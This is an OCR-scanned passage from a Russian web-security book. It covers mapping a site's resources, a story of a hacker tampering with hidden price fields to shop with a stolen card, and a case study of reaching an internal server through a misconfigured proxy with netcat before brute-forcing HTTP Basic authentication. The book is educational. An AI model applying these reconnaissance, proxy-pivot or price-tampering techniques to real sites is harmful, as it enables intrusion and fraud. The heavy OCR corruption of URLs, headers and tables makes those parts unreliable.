Какую же пользу можно извлечь из этих адресов? Некоторые выводы не вызывают никаких сомнений. Каталог /login/ напоминает точку входа в ту часть приложения, к которой могут обращаться только зарегистрированные пользователи. Каталог /logoff/ файловой структуры сервера используется при завершении пользователем сеанса работы с приложением. В каталоге /download/ размешены ресурсы, доступные для всех пользователей. Такие файлы, как setup.exe и tools.exe, могут быть загружены с узла с использованием сценария download.cgi.
Давайте посмотрим, что произойдет при обращении к каталогу /private/. При щелчке в окне броузера на соответствующей гиперссылке на экране появится окно аутентификации, показанное на рис. 8.7.
При передаче аналогичного запроса с использованием утилиты net с at будет получен следующий ответ:
пс www. example. com 80
HEAD /private/ HTTP/1.0
HTTP/1.1 401 Authorization Required
Date: Hon, 18 Mar 2002 09:40:24 GMT
Server: Microsoft-ISS"/5.0
WWW-Authenticate: Basic realm***special directory"
Connection: close
Puc. 8.7. Диалоговое окно аутентификации при обращении к файлу exaaple^baslc^utJj. gif
С сервера был получен код HTTP-ответа 401. Это означает, что каталог /private/ зашишен паролем. Становится понятно, что в данном случае используется стандартный алгоритм аутентификации HTTP, когда имя пользователя и пароль шифруются
по алгоритму Base64. Для дальнейшего продвижения нужно иметь в распоряжении корректные регистрационные данные. В таких ситуациях хакеры пользуются ранее взломанными учетными записями или пытаются получить доступ к нужной странице, реализовав автоматизированную атаку подбора регистрационных данных "в лоб”.
Вызывает интерес также каталог /scripts/. В нем содержатся серверные сценарии mail.pl и search.cgi На основании имен этих файлов можно предположить, что сценарий mail.pl используется для отправки электронной почты, a search.cgi — для выполнения поиска по ключевым словам. В каталоге /admin/ содержится ресурс administrator.asp, который наверняка представляет собой страницу управления Web-узлом, которая доступна только для администратора узла, обладающего соответствующими полномочиями.
Если же посмотреть на список URL в целом, то возникают совсем другие мысли. Как правило, в одном Web-приложении одновременно не используются страницы ASP, сценарии CGI и сервлеты Java. Их наличие свидетельствует о том, что Web- приложение используется несколькими Web - серверами. Управление страницами ASP и, возможно, даже сценариями Perl и CGI о существляется с помощью сервера IIS системы Windows, тогда как управление сервлетами Java выполняется другим сервером. Вспомните, что в главе 6 упоминалось о возможности управления различными частями Web - приложения на разных платформах, причем эти части взаимосвязаны и фунвдионируют как единое целое.
Рис. 8.8. Список, полученный с использованием утилиты Funnel Web Profiler
Не существует общих правил, руководствуясь которыми можно извлечь подобную информацию. Практический: опыт и знание стандартного процесса разработки Web- приложений окажутся чудесным подспорьем при выполнении анализа подобного рода. В следующих главах будут обсуждаться различные сценарии реализации атак, в рамках которых введенные здесь понятия будут еще раз проиллюстрированы. Каждая связь в Web -приложении может иметь потенциальный изъян, которым может воспользоваться
взломщик. В данном разделе основное внимание уделялось связыванию адресов URL с их функциональным назначением и выделению тех частей приложения, с использованием которых связан повышенный риск. На основе такого подхода все полученные результаты можно связать с обнаруженными Web-ресурсами. На рис. 8.8 показано дерево каталогов и файлов, содержащихся на узле http://www.foundstone.com/. Эта информация была получена с использованием программы Funnel Web Profiler. Какие выводы можно сделать на ее основе?
Заключительные замечания
Выше было показано, как на основе адресов URL и списка Web-ресурсов можно выявить функции, которые выполняются Web-приложением. При рассмотрении третьего этапа станет понятно, как собранную информацию представить в более удобном виде.
Этап 3: анализ каждого Web-pecypca
Конечная цель анализа связей ——классификация и упорядочение ресурсов, используемых на Web-узле или в Web -приложении. Это упорядочение должно обеспечить возможность быстрого поиска любого ресурса и определения роли, которую он играет в приложении. В своей повседневной работе авторы книги часто создают матрицу Web-ресурсов. Для иллюстрации процесса создания такой матрицы рассмотрим ряд приемов, которые ранее уже успешно использовались в практической аналитической работе. В состав этой методологии входит семь пунктов, казздый из которых связан с третьим этапом анализа связей (см. рис. 8.1).
Анализ расширений
Анализ расширений файлов, используемых в URL, позволяет идентифицировать применяемые технологии. Например, на основе расширения можно определить, является ли ресурс статическим или представляет собой программу, которая генерирует динамическое содержимое. Можно также определить технологий, на основе которых осуществляется управление ресурсом, что особенно полезно при идентификации сервера приложений. Давайте снова обратимся к четырем Web-ресурсам, обнаруженным на узле http: / /www. example. со®/.
http: //vww.exanple.сои/index,asp
http://wvw. ехалфХе ・ com/login/login. asp http://ww.example.com/scripts/search.cgi http: Z/wvrw. example, com/sc ripts/mail. pl
Обратите внимание на три типа расширений: .asp, .cgi и .pl. Они означают, что используются технологии Active Server Pages компании Microsoft и язык Perl. Расширение .cgi является слишком общим, чтобы на его основе делать какие-либо конкретные выводы. Расширения .jsp, .cfin и .php свидетельствуют об использовании серверных сценариев или программ. Другие расширения, .html. .htn и .txt, позволяют сделать заключение о том, что на Web-узле используется статическое содержимое в формате HTML или ASCII. Если вы не помните, что означают эти расширения, обязательно перечитайте главу 1. Таким образом, проанализировав расширение, можно сделать вывод об используемой технологии. Следовательно, расширение файла предоставляет важную информацию о типе ресурса и технологии, которая используется для управления им.
Анализ адресов URL
Если анализ расширений не позволяет полностью идентифицировать используемые технологии, то следующий шаг состоит в анализе полного пути URL. Если в нем присутствуют строки /scripts/, /cgi-bin/ или /servlet/, то можно определить тип используемого сервера приложения. Зачастую в URL применяется строка запроса. Параметры, передаваемые в строке запроса, также достаточно много сообщают о назначении ресурса. Например, следующие ресурсы, найденные на узле http:// www.exaBple.coB/, свидетельствуют о том, что showtrans и setcustinfo — это сервлеты Java, содержащиеся в каталоге /servlet/ файловой системы сервера.
http://www. ехшрХе ・ со»/ eervl et/shovtrans?ida13445466
http://www. example.com/servlet/setcustinfo
Анализ сеансов
Как правило, в приложениях, в которых важно подцерживать состояние сеанса, используется один из двух испытанных подходов, позволяющих сохранять информацию о состоянии. Сеансы HTTP подцерживаются либо путем передачи идентификатора сеанса в скрытом поле HTML-формы, либо с использованием данных cookie. Иногда идентификатор сеанса передается как часть самого URL, однако этот способ практически ничем не отличается от использования скрытых полей.
При более тщательном анализе следующего URL, полученного в результате исследования узла http: //ww. example. сот/, можно обнаружить поле id, в котором содержится буквенно-цифровая строка.
http ://vw • example. сап/ login/ secur е/ transaction. авр? id・AD678GWRT67344(uBerabob4doit*add
Параметр id используется для отслеживания сеанса работы с приложением. Его значение и является идентификатором сеанса, который генерируется по специальному алгоритму. Идентификатор сеанса позволяет сохранять в приложении информацию о состоянии всех текущих клиентских сеансов.
Управление сеансами можно реализовать с использованием данных cookie. Некоторые современные серверы Web - приложений используют такие данные для обеспечения встроенной подцержки управления сеансами. Если HTTP-запрос GET передать ресурсу /login.asp узла http://www.example.соя/, то будет получен следующий ответ: пс www.exainple.com 80 GET /login.asp/ HTTP/1.О
HTTP/1.1 200 0k
Server: Microsoft-ISS/5.0
Date: Mon, 18 Mar 2002 11:53:33 GMT
Connection: Keep-Alive
Content-Length: 496
Content-Type: text/html
Set-Cookie: exanplelogin«3D23523AI>AF34546124AE8; path-/
Cache-control: private
В заголовке HTTP-ответа сообщается, что под именем exainplelogln броузеру необходимо сохранить полученные данные cookie, в которых содержится зашифрованная шестнадцатеричная строка, представляющая собой идентификатора сеанса. Броузер передает эти данные на сервер в каждом запросе HTTP на протяжении всего сеанса работы.
Поиск форм
HTML-формы — один из наиболее стандартных способов взаимодействия пользователя с Web-приложением. В HTML-формах содержатся введенные пользователем данные, которые затем передаются приложению. При разработке как языка HTML, так и протокола HTTP не учитывалась необходимость проверки корректности данных, передаваемых броузером Web-серверу. На приложение возлагаются все обязанности, связанные с проверкой введенных значений и очисткой полей формы. В аспекте обеспечения безопасности HTML-формы являются наиболее важным компонентом, позволяющим получить доступ к Web-приложению.
Нетрудно определить, в состав каких Web-ресурсов входят HTML-формы. В процессе простого поиска подстроки, соответствующей дескриптору <FORM>, можно получить перечень всех Web-ресурсов, содержащих HTML-формы. Возможно, кроме поиска форм, стоит уделить внимание и относящимся к ним полям. Зачастую в формах содержатся скрытые поля, в которых передается важная информация. Каждая форма используется для достижения какой-либо конкретной цели. Очень важно разобраться с назначением формы и связать с ней набор потенциальных атак, которые могут быть реализованы. Web-ресурсы с формами должны быть обязательно идентифицированы. При анализе безопасности им нужно уделять повышенное внимание.
• Идентификация аплетов и объектов
Зачастую в состав Web-ресурсов входят активные компоненты, встраиваемые в документ в качестве объектов. Хорошо известными примерами встроенных объектов являются згпеты Java и компоненты ActiveX. Некоторые Web-приложения спроектированы таким образом, что аплеты, выполняемые в клиентских броузерах, предоставляют гораздо более богатый интерфейс, чем обычные HTML-формы. По существу, такое приложение удовлетворяет требованиям платформы клиент/сервер, где управление клиентской частью осуществляется с использованием аплета, а в состав серверной части входит компонент, напрямую связанный с аплетом. Это прямое соединение не должно устанавливаться через протокол HTTP. Подобные объекты могут создать брешь в подсистеме безопасности на уровне приложения. Действительно, достаточно легко выполнить обратное проектирование байт-кода аплетов, получить их исходный код и тем самым проникнуть во внутреннюю часть приложения. Любые изъяны в проектировании или реализации могут привести к возможности выполнения обратного проектирования.
Найти аплеты очень просто. Для этого в HTML-коде достаточно выполнить поиск дескриптора <APPLET>. Рассмотрим Java-аплст db.class, который, возможно, предназначен для взаимодействия с серверной базой данных. Ниже приведен фрагмент кода, взятый из файла http://172.16.12.1/catalog.html.
<applet codeba6esM./database1* code«0db.class* width=400 height=15O>
<param 口aae="db server" value«*172.16»12.3*>
<param name^**db_^nstance^, value*Mcatalogr,>
</applet >
В дескрипторе <APPLET> указано, что аплет Java находится по адресу http:// 172.16.12.1/database/db.class. Аплету db.class передается два параметра — db server и db_ instance.
Компоненты ActiveX компании Microsoft вставляются в код HTML аналогичным образом. Дескриптор <OBJECT> можно использовать вместо дескриптора <APPLET>. Следующий фрагмент кода взят из файла http://172«16.12.1/xml_view.htiil.
<OBJECT id-xalForaat style-^riOTHsSOOpx; KEIGBT:500px*v codeUse-http://172.16.12.1/ xml Forma t.CAB>
<PARAM NAME=#Data* VALUE«*https //172 Л 6.12 Л /eyData»xmlw>
</OBJECT>
Поиск клиентских сценариев
Клиентские сценарии на языке JavaScript или VBScript внедряются в HTML-код с использованием дескриптора <SCRIPT>. В процессе анализа связей необходимо идентифицировать Web-ресурсы, в состав которых входят клиентские сценарии, поскольку им необходимо уделить гораздо больше внимания, чем обычному HTML- содержимому. Иногда проверка корректности входных данных реализуется разработчиками в клиентских сценариях. Однако такую проверку можно обойти, изменив загруженный в броузер исходный код HTML или вообще запретив выполнение сценариев. Необходимые для этого действия достаточно просты.
Анализ комментариев и адресов электронной почты
Web-ресурсы разрабатываются с использованием языков высокого уровня. Как и большинство языков программирования, язык HTML позволяет использовать в документах комментарии. Комментарии HTML рассматривались в главе 7.
Заключительные замечания
Теперь в нашем распоряжении достаточно материала, чтобы приступить к построению матрицы Web-ресурсов. На основе информации, полученной при исследовании узла http: / /vw. exaxple. сот /, можно сформировать следующую матрицу. Все данные были получены при выполнении этапов 1-3,
Аплет/
Объ
Дан-
Клиент-
Аутен-
Тип ре
Ре с
Скорма
ект
ные
скмй сце
тмфикя
сурса
cookie
нарий
имя
/login/login.asp
X
X
• asp
/login/secure/tr&nsaction.asp?id»
X
X
.asp
AD678GWRT67344&usersbob&doi t”dd
/download/download.cgi?files
• cgi
tools.exe
/download/dovnload.cgi?file・
•cgi
setup.exe
/scripts/search・ cgi
X
X
•cgi
/scripts/nail.pl
X
X
•pl
/achiin/adiiiiiiiBtrator.asp
• asp
/news/index.asp
X
*asp
Zpublic/default.asp
.asp
/servlet/showtrans?id= 13445466
Ссрадет
Zservlet/setcustinfo/contacts/ /profile/ /private//logoff/logoff .aspZservlet/setcustinfo/contacts/ /profile/ /private//logoff/logoff .aspСервлет
Zservlet/setcustinfo
/contacts/ /profile/ /private/
/logoff/logoff .asp
Zservlet/setcustinfo
/contacts/ /profile/ /private/
/logoff/logoff .asp
X X
X Стандартная
X.asp
Этап 4: инвентаризация Web-ресурсов
В результате выполнения этапов 1—3 было получено много важной информации. Последний этап состоит в инвентаризации всех найденных на сервере Web-ресурсов. Из всех возможных методов классификации для разделения Web-ресурсов авторы рекомендуют использовать описанные ниже категории.
Статическое содержимое. К этой категории можно отнести все содержимое HTML/XML/TXT, которое не изменяется ни при каких HTTP-запросах и не зависит от параметров, переданных броузером. Такие страницы являются наиболее простыми ресурсами. Пассивность подобных ресурсов обусловила их минимальную уязвимость от любых атак.
Серверные сценарии. К этой категории относятся серверные страницы ASP, сценарии Perl, CGI -сценарии и т.д. Серверные сценарии, получающие данные от Web-броузеров или из параметров URL, требуют повышенного внимания. При определении степени уязвимости таких ресурсов следует отдельно учитывать также атаки, связанные с ошибками проверки входных данных.
Дополнительные модули. К этой категории относятся серверы приложений и интерпретаторы языков Web-приложений, такие как ColdFusion, PHP и Weblogic, установленные на внешних Web-серверах. В главе 6 описано, как функционируют такие серверы приложений и как их идентифицировать. Те же приемы можно использовать для определения Web-ресурсов, относящихся к этой категории.
Аплеты и объекты. К этой категории относятся аплеты Java или другие внедренные в HTML-код объекты, которые выполняются броузером.
Клиентские сценарии. К этой категории следует отнести весь код, размещаемый между дескрипторами <SCRIPT>.. ,</SCBIPT>. Этот код также выполняется броузером.
Cookie. К этой категории относятся данные cookie, получаемые от различных Web-ресурсов. Здесь следует учитывать также и сами Web-ресурсы, которые генерируют такие данные.
HTML-формы. К этой категории относятся все Web-ресурсы, в состав которых входят HTML-формы. Формы необходимо подробно проанализировать, особенно те из них, которые предназначены для передачи регистрационных данных или содержат скрытые поля.
Теперь можно вернуться к полученным данным и классифицировать ресурсы и другие элементы, представив отчет в виде таблицы.
Количество ресурсов352Количество ресурсов352Тип ресурсов
Количество ресурсов
3
5
2
Количество ресурсов
3
5
2
Статические страницы
Серверные сценарии
Серверные страницы приложения
194194Часть II. (береты URL
194
194
162745162745
1
6
2
7
4
5
1
6
2
7
4
5
Аплеты и объекты
Клиентские сценарии
Ресурсы, генерирующие данные cookie Количество фрагментов cookie
Ресурсы, содержащие формы HTML Количество форм HTML
Количество скрытых полей
Резюме
Построение карты Web-узла и сбор всей нужной информации, предоставляемой различными Web-ресурсами, оказывается крайне важным при оценке защищенности Web-приложений. В контексте предоставляемых возможностей и архитектуры каждый Web-узел является уникальным. Сбор всей возможной информации о Web- приложении позволяет существенно упростить выявление изъянов и является отправной точкой для проведения анализа его защищенности. Построение инвентаризационной матрицы Web-ресурсов и списка всех Web-ресурсов поможет оценить риск, связанный с использованием Web -приложения.
mpsEOX |一& =-qbvh
Случай из жизни: как Борис помог Анне достать необходимые материалы
Анна — двадцатидвухлетняя художница — большую часть лета проводила в путешествиях по русским деревням, рисуя пейзажи маслом на холсте. Ее картины были сдержанными, но она использовала четкие и яркие краски, что делало ее полотна немного напоминавшими работы Моне — ее идеала. Через два года после смерти отца она унаследовала его студию, где и демонстрировала свои работы.
В то время Россия была на грани экономического и политического кризиса, и приобретение произведений исБсусств считалось роскошью. За последний месяц Анна продала только одну картину, причем по весьма низкой цене. Ее заработком были мелкие заказы какого-либо конкретного пейзажа или портрета. Однако у Анны не было денег на краски и кисточки даже для одной картины. Впервые в жизни она стала бояться, что не сможет прокормить себя и свою двухлетнюю дочь. Еще никогда она не была так бедна!
У Анны был друг Борис, специалист по компьютерным технологиям; в свободное время он погружался в тайный мир компьютерного хакинга. И хотя Борис говорил с Анной на эту тему, ей было известно, что работа нравилась ему только из-за денег, которые он за нее получал. Его истинной страстью было киберпространство» взлом корпоративных Web-узлов и хвастовство перед друзьями. Борис обладал одним редким качеством, которое считалось "элитным” в то время: он мог приобретать товары в интерактивном магазине по существенно сниженным ценам и до сих пор ни разу не был пойман.
Борису было известно, что у Анны тяжелые времена, и поэтому по дороге домой он часто заходил к ней в студию.
"Привет, Анна. Сегодня есть новые заказы?** — спросил Борис, поднимаясь по лестнице.
"Да, — ответила Анна мрачно. — Один пожилой мужчина зашел сегодня в студию и попросил меня нарисовать склон холма, расположенного возле его дома. За эту работу он предложил 500 долларов... — Голос Анны был спокойным и не выражал никаких эмоций, хотя предложенная цена была гораздо больше той суммы, которую она могла рассчитывать получить за одну из своих картин. — Но у меня не хватает красок и полотна, чтобы закончить работу**. Борис ответил: "Не волнуйся, Анна, у меня есть план. Что именно тебе нужно, чтобы довести дело до конца?"
"Мне нужны масляные краски и полотно размером 80x55 см. Как минимум, требуется еще 30 тюбиков разных цветов. Кроме того, не обойтись без чистящего средства для кистоиек. А зачем ты обо всем этом спрашиваешь?п
"Неважно, — коротко ответил Борис. — Какого именно цвета нужны краски?” Анна стала записывать на листке бумаги названия красок. Затем она записала, какое чистящее средство ей подходит. Борис и раньше помогал ей, однако гораздо в меньшей степени. Анна терялась в догадках и нервничала, посколысу совершенно не представляла, что Борис планирует делать. Однако ей очень нужна была помощь.
“ Борис, как ты все это достанешь?п — спросила Анна.
"Не беспокойся об этом. Я получу их в течение недели11, — пообещал Борис.
Борис поспешил домой и включил переносной компьютер — свое любимое оружие. Он отыскал небольшой специализированный интерактивный магазин, расположенный в США. Ему было известно, что подобные магазины имеют достаточно простую архитектуру и выявлению фактов мошенничества в них не уделяется должного внимания. Итак, Борис приступил к своему любимому занятию. Он просматривал исходный текст каждой страницы и искал изъяны, которые могли оказаться полезными в данной ситуации. Менее чем за десять минут он нашел то, что искал. Это была
стандартная ошибка, связанная с использованием скрытых дескрипторов HTML, которая была известна уже больше года. Этот изъян позволял злоумышленнику изменить цену товара в интерактивном магазине. Например, официальную цену книги, составляющую $39.99, можно было изменить до $3.99 или $0.99 и даже указать отрицательное число. Многие разработчики Web - приложений выполняли гораздо более сложную проверБсу корректности данных на сервере, однако на данном Web-узле подобная проверка не проводилась. Поэтому такой тип атаки был вполне подходящим.
Борис приступил к работе, собирая необходимые Анне материалы и помещая их в электронную торговую тележку. После этого он загрузил исходный HTML-код и изменил стоимость каждого товара торговой тележки: $20 на $2, $50 на $5 и т.д. В результате весь набор необходимых материалов, который изначально стоил $250, обошелся всего в $16. Он ввел номер кредитной картонки, которая принадлежала Елене Слугской. Сегодня утром этот номер был похищен, а затем отправлен в хакерскую группу Бориса. Затем он щелкнул на кнопке Submit. Дело было сделано.
Через семь дней Борис появился перед дверью Анны...
ГЛАВА 9
Киберграффити
Я не знаю, что вызывает большее отвращение: носить твое лицо или ходить в твоем теле. Почему бы нам не поменяться обратно и считать, что мы в расчете. Договорились ?
Кастор Трой (Николас Кейдж с лицом Джона Траволты) из фильма "Без лица w
Введение
В одной из утренних газет появилась статья о взломе некой компьютерной компании. В статье были приведены цитаты главного менеджера по информационным технологиям этой компании и несколысих экспертов по вопросам безопасности, которые должны были расследовать деятельность опытного хакера. В действительности оказалось, что была реализована автоматизированная атака с использованием простого сценария, работа которого основывалась на изъяне Unicode сервера IIS. В результате главная страница компании была заменена "мусором”. Однако факт кражи $30 000 с компьютеров основного банка того же города в статье не упоминался. При этом главная Web-страница банка не претерпела никаких изменений.
Большинство взломов, о которых сообщается в средствах массовой информации, связаны с подменой содержимого Web-узлов или, как мы это называем, с наличием следов в киберпространстве. Большинство подобных взломов вьшолняются с использованием готовых средств, обеспечивающих получение административных привилегий на целевом узле. Это позволяет хакерам заменять содержащиеся на нем Web- страницы собственными версиями. В отдельных случаях подмена содержимого Web- узла выполняется каким-то другим оригинальным способом. Возможно, злоумышленники не всегда смогут получить привилегии на уровне какого-либо пользователя, но они всегда смогут воспользоваться изъянами плохо написанных сценариев или неправильно сконфигурированных Web-серверов.
В этой главе рассматриваются и анализируются средства взлома, которые использовал некий хакер Мэллори, работающий сетевым администратором в небольшой компании из Сан-Франциско. Он воспользовался весьма необычным методом для реализации атаки, направленной на подмену содержимого Web-узла туристического агентства. В конце главы приводятся контрмеры, позволяющие защититься от подобных атак.
Взлом Web-узла компании Defacing Acme Travel, Inc.
Небольшое туристическое агентство Acme Travel, Inc. существует уже много лет, обслуживая как бизнесменов, так и отдыхающих. В основном компания работает через бесплатный телефонный номер. В начале 2000 года владельцы компании решили организовать собственный домен (www.exanple.con) и разместить свой Web-узел на сервере провайдера услуг Internet AcmeHosting. net в Чикаго. Системный администратор компании Роб стал выполнять также функции администратора Web-узла компании. Он хорошо знал операционную систему Linux и установил proxy-сервер, что позволило сотрудникам компании подбслючиться к Internet через общее соединение DSL. Кроме того, на proxy-сервере Роб установил сервер Apache, чтобы дать возможность Бруку (Web-дизайнеру) регулярно обновлять страницы на Web-узле компании.
Web-узел компании Acme состоял всего из восьми статических Web-страниц и не- сколысих изображений. Домен www.example.соя был предназначен исклюиителвно дпя того, чтобы предоставить пользователям Internet электронный каталог услуг компании. Наиболее ценной частью информации, хранящейся на сервере, был бесплатный телефонный номер. Внешний вид Web-узла компании Acme Travel показан на рис. 9.1.
Домен www.example.com создавался также для предоставления служащим компании адресов электронной почты, чтобы они могли общаться с клиентами через Internet. Для этого Роб настроил на proxy-сервере, работающем под управлением Linux, протоколы SMTP, POP3 и программу fetchmail.
Рис. 9. /. Web-узел компании Acme Travel
Поздней ноябрьской ночью одно из таких почтовых сообщений читал Мэллори. Он недавно вернулся из Индианы, где был в гостях у своей семьи. Письмо пришло из туристической компании Acme Travel, Inc. и было связано с его недавней поездкой. Путешествие оказалось просто ужасным. Вместо хорошего бокового места в самолете Мэллори получил место в середине хвостовой части. Его пожелания по поводу вегетарианской пищи также не были переданы сотрудникам авиакомпании. Однако больше всего Мэллори раздражали $30 комиссионных, заплаченных им компании Acme Travel за резервирование билета. С таким же успехом он мог заказать билет и в самой авиакомпании.
Поскольку Мэллори любил рыскать по сети в поисках плохо защищенных ресурсов, он решил воспользоваться своими навыками и проучить компанию Acme Travel, Inc. Идентификация IP-адреса и быстрое сканирование портов показали, что сам Web-узел ww.exauple.cow размещается на сервере acmehosting.net. Однако на серверах провайдера услуг Internet он не нашел ничего интересного. Не было никаких открытых портов, кроме тех, которые использовались оболочкой SSH и протоколом HTTP, и в броузере можно было увидеть только статические страницы и файлы изображений. Но при просмотре почтового сообщения Мэллори пришла в голову идея. В туристической компании должен быть выход в Internet. В ее офисе должна существовать небольшая внутренняя сеть, чтобы сотрудники могли получать и отправлять почтовые сообщения. Без этого почтового сообщения выявить присутствие компании Acme Travel в Internet было бы абсолютно невозможно. В заголовке письма содержалась следующая информация:
X-Apparently'To:nallory9netaail.co* via vebl3508.netsai 1.con
Return.Patb:<servicefexanple. coe>
Received: from Miver326.ord.*CMhoetiDg.Det(EHU) example.com) by mta497.netmail.com with SMTP
Received:froe [10.3.2.1] by exarrple.com (8.8.8/8.8.5) with 三SMTP id RAA08342 for
<mallory21f netaail. com>
Message-ID: <3C93CC2F.83281269fexanple.coii>
Date: 17 Aug 2001 04:20:23 +0530
From: "Acme Travel Service" <servlcefex&ople.com>
Organization:Example.coe
To:nallory21fnetmail.com
Subject: TICKET CONFIRMATION
EXANPLE.COM
TICKET CONFIRMATION
TEL (800) 555-ACMEvww.example.com
В строке Received:from [10.3.2.1] by example.com содержался IP-адрес компании Acme Travel. Мэллори сразу приступил к сканированию портов узла 10.3.2.L Утилита Nmap предоставила следующий список открытых портов:
Port22/tcp25/tcp80/tcp 110/tcp8001/tcpPort22/tcp25/tcp80/tcp 110/tcp8001/tcpService ssh smtp http POP-3 http-proxy
Port
22/tcp
25/tcp
80/tcp 110/tcp
8001/tcp
Port
22/tcp
25/tcp
80/tcp 110/tcp
8001/tcp
Мэллори определил, что порты 22, 25 и ПО блокируются TCP-оболочкой. Для реализации атаки можно было воспользоваться лишь портами 80 и 8001. Кроме адреса DS L - маршрутизатора, никаких других активных IP-адресов обнаружить не удалось.
Составление схемы сети
Теперь Мэллори имел примерное представление об архитектуре сети. И его предположения были очень близки к реальности. На рис. 9.2 изображена реальная структура сети.
Служащие компании Acme могли попадать в Web через порт 8001 proxy-сервера HTTP, установленного на узле 10.3.2.1, и отсылать почту через демон SMTP, запущенный на той же машине. Для получения электронной почты и ее распределения по почтовым ящикам внутренней сети на сервере Linux демон cron каждые 5 минут запускал программу fetchnail. Весь входящий трафик, кроме подюгючений SSH через модем домашнего компьютера Роба, блокировался TCP-оболочкой. Сервер Apache использовался в качестве внутреннего Web-сервера, прослушивающего порт 80, а также ргоху-сервера, связанного с портом 8001. Сервер Apache был настроен таким образом, чтобы принимать запросы только от узлов с адресами из диапазона 10.0.1.x и с локального адреса 127.0.0.1. Роб не планировал пускать кого-либо еще в свою внутреннюю сеть.
Мэллори попробовал получить доступ к портам 80 и 8001 через свой броузер. Однако каждый раз возвращался код ответа 403 Forbidden (рис. 9.3).
Однако Мэллори не отказался от своей затеи. Перед тем как уйти спать, он решил попытать счастья еще раз.
Тонкости использования proxy-серверов
Последняя попытка Мэллори заключалась в том, чтобы выяснить, правильно ли настроен сервер Apache по адресу 10.3.2.1, прослушивающий порт 8001. Если он разрешает с внутренних адресов отправлять HTTP-запросы во внешнюю сеть, то, возможно, он будет и принимать HTTP-запросы.
Взломщик
Центр данных компании Acme Travel, Inc.
Рис. 9.2. Внутренняя сеть компании Acme Travel, Inc. “ сервер провайдера услуг Internet
Внутренняя сеть офиса (10.0.1.2... 10.0.1.255)
Рис. 9.3. Передача HTTP-запросов на порты 80 и 8001 запрещена
Воспользовавшись утилитой netcat, Мэллори отправил запрос GET http: // 127.0.0.1:80/ ЙТТР/1.0 на порт 8001 ргоху>сервера. Этот запрос сообщает рюху- серверу о том, что необходимо установить соединение HTTP с портом 80 узла 127.0.0.lf получить ответ HTTP и данные, а затем передать их обратно клиенту. Приведенные ниже результаты свидетельствуют о том, что этот трюк сработал!
С:\Ьаск\аспе>пс 10.3.2.1 8001
GET http://127.0.0.1:80MTTP/1.0
HTTP/1.0 401 Authorization Required
Server: Apache/1.3.12 (Unix) РЯР/4.0Л
WWW-Authenticate: Basic realm = “special directогу**
Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE BTKL PUBLIC *-//IETF//DTD HTML 2.0//EN*>
<HTKL><BEAD>
<TITLE> 401 Authorization required </TITLE>
</HEADXBODY>
<H1>Authorization Requlred</Hi>
This server not verify that you are authored to access the document requested.
Either you supplied the wrong credentials (e.g., bad password), or your browser doesn't understand how to supply the credentials required.<P> <BR>
<ADDRESS> Apache/1.3.12 Server at redproxy Port 80</7\DDRESS>
</BODY></BTML>
Мэллори на шаг продвинулся к заветной цели. Вместо HTTP-ответа 403 Forbidden он получил сообщение 401 Authorization Required. Этот ответ передал сервер Apache, прослушивающий порт 80, а не 8001. Давайте на минуту остановимся и проанализируем эту атаку более подробно. На рис. 9.4 показано, что же произошло.
Если пользователи внутренней сети компании хотят получить доступ к Web-узлам в Internet, то их броузеры должны быть настроены на использование proxy-сервера http://10.0.1.1:8001/. На рис. 9.4 показано, что пользователь на узле 10.0.1.12 передает запрос на получение страниц с Web-узла http://ww.yahoo.coa/. Этот запрос направляется на сервер 10.0.1.L связанный с портом 8001. После этого proxy-сервер передает HTTP-запрос на узел ww.yahoo.con, получает необходимые данные и отправляет их обратно клиенту по адресу 10.0.1.12.
Proxy-сервер представляет собой двухадаптерную систему (dual-homed system), использующую адрес 10.0.1.1 во внутренней сети и адрес 10.3.2.1 в другой (внешней) сети. Когда Мэллори попытался получить доступ по адресу http://10.3.2.1:80/ или http://10,3.2«l:8001, он получил ответ 403 Forbidden. Сервер был настроен так, чтобы отклонялись все входящие запросы, отправленные со всех адресов, кроме 10.0.1.1-254 и 127.0.0.1. Однако оказалось, что HTTP-запросы к proxy-серверу разрешалось передавать с любых адресов. Такую ошибку Роб мог случайно допустить в процессе настройки proxy-сервера. Поэтому, когда Мэллори запрашивал Web- страницу http://127.0.0.1/ через proxy-сервер 10.3.2.1:8001, proxy-сервер старательно обрабатывал этот запрос. Он устанавливал связь с Web-сервером того же узла, который прослушивал порт 80, получал ответ и отсылал его обратно Web-броузеру на компьютере Мэллори. Аналогичная атака рассматривалась в главе 6.
На следующем этапе Мэллори настроил свой броузер так, чтобы автоматически использовался proxy-сервер 10.3.2.1:8001. На рис. 9.5 показано диалоговое окно настройки параметров броузера Netscape.
Рис. 9.5. Настройка proxy-сервера 6 броузере Netscape
Теперь Мэллори достаточно бьыо ввести в броузере URL-адрес http://127.0.0.1, чтобы запрос был перенаправлен по адресу 10.3.2.1:8001. Однако совершенно неожиданно снова был получен ответ 401 Authorization Required. Администратор узла действительно не хотел разрешать пользователям доступ к Web-серверу. Однако Мэллори это не остановило.
Подбор паролей, используемых в процессе HTTP-аутентификации
Возможно, из всех протоколов аутентификации, используемых на уровне приложения, путем простого перебора (т.е. "в лобп) легче всего взломать пароли, применяемые в процессе HTTP-аутентификации. В настоящее время используется три основных типа аутентификации HTTP: Basic, Digest и NTLM. Механизм аутентификации Basic — это первая попытка обеспечения защищенности определенных областей Web-узла с помощью пароля. Каждый раз, когда броузер получает HTTP-ответ с кодом 401, он выводит на экран диалоговое окно с запросом имени пользователя и пароля. После ввода необходимых данных они кодируются в соответствии со схемой шифрования Base 64 и отправляются в новом HTTP-запросе на получение того же ресурса. Сервер выполняет декодирование и сравнивает полученные регистрационные данные с пользовательским именем и паролем, содержащимися в его базе данных. Если сравнение завершилось успешно, то вместе с запрошенными данными сервер отправляет ответ 200 ОК. В противном случае сервер передает HTTP-ответ с кодом 401.
Аутентификация NTLM используется сервером IIS компании Microsoft для идентификации пользователей, которые используют учетные записи Windows NT. В процессе аутентификации Digest используется алгоритм шифрования MD5. Этот тип аутентификации не поддерживается ни броузером Netscape, ни Internet Explorer. Именно поэтому он и не получил широкого распространения. Единственным популярным броузером, который поддерживает аутентификацию Digest, является Opera.
